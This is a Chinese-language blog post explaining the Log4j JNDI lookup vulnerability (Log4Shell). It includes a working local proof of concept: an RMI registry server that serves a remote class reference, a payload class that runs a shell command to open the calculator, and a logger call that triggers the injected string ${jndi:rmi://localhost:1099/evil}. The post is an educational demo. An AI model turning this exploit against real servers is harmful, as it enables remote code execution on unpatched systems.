log4j-jndi lookup安全漏洞解析及注入demo

2,159 阅读1分钟

log4j的安全漏洞刷屏了,公司要求排查各个项目,然后进行改正。小白不太懂,所以也趁机学习了下漏洞原理。

log4j的这个漏洞主要是因为lookup的机制,允许日志中通过${}的方式进行属性注入

image.png

这次引发大家狂欢的主要是jndi注入的问题,jndi我都没咋用过,补了下知识。简单理解下,就是类似spirng容器,是一个命名服务容器,能根据名称自动查找服务。支持jdbc、ldap、rmi等各种类型,不同类型有不同的查找方式,就是不同的实现类。

image.png

问题主要在于rmi这块,rmi是远程调用服务,jndi支持通过url直接下载远程class文件的方式去加载执行服务。

image.png

比如rmi client去lookupjndi:rmi://localhost:1099/evil,就会去localhost:1099(本地启动的server,维护一个注册表registry)获取name为evil的对象。那么只要小明在本地1099端口启个服务,然后服务的refisgry中注册自己自定义的一个对象,然后rmi client去通过jndi:rmi://localhost:1099/evil去获取registry中的evil的对象的时候,就会先从小明本地的1099端口那个服务中查到小明自定义对象的代码,然后序列化传输到rmi client再进行反序列化并初始化,就会执行对象的一些构造函数和static方法之类的,小明如果在构造函数和static方法中写了恶意代码,就能轻而易举的劫持你的系统。

log4j在解析${jndi:rmi://localhost:1099/evil},也会触发lookup操作,作为一个rmi client去localhost:1099服务获取name为evil的对象,所以就会造成log4j所在的机器也就是大家用了log4j的jvm进程会作为一个rmi client去下载localhost:1099中注册的evil对象并初始化。这就是漏洞产生的原因。

image.png

下面贴几个代码,大家可以自己测一下。(采用的java8环境)

小明本地起的维护registry的服务:

package com.example.demo.rmi;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import com.sun.jndi.rmi.registry.ReferenceWrapper;

public class RmiServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Reference reference=new Reference("com.example.demo.hack.HackCommand","com.example.demo.hack.HackCommand","http://localhost:8080/");
        ReferenceWrapper referenceWrapper=new ReferenceWrapper(reference);
        LocateRegistry.createRegistry(1099).bind("evil",referenceWrapper);

    }
}

小明本地的黑客命令:

package com.example.demo.hack;

import java.io.IOException;

public class HackCommand {
    public HackCommand() throws IOException {
        System.out.println("执行本地的黑客指令!!!!");
        Runtime rt = Runtime.getRuntime();
        String property = System.getProperty("os.name");
        if ("Mac OS X".equals(property)) {
            String[] commands = {"/bin/sh", "-c", "open /System/Applications/Calculator.app"};
            rt.exec(commands);
        }else {
            rt.exec("cmd  /c calc");
        }
    }
}

我们代码中用到的log4j打印用户名的时候,被小明利用注入了${jndi:rmi://localhost:1099/evil}

package com.example.demo;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import javax.naming.Context;

public class Log4jTest {
    private static final Logger logger= LogManager.getLogger();

    public static void main(String[] args) {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
        String input="${jndi:rmi://localhost:1099/evil}";
        logger.error("input,{}",input);
    }
}

最终结果:万恶的小明擅自打开了我们的计算器

image.png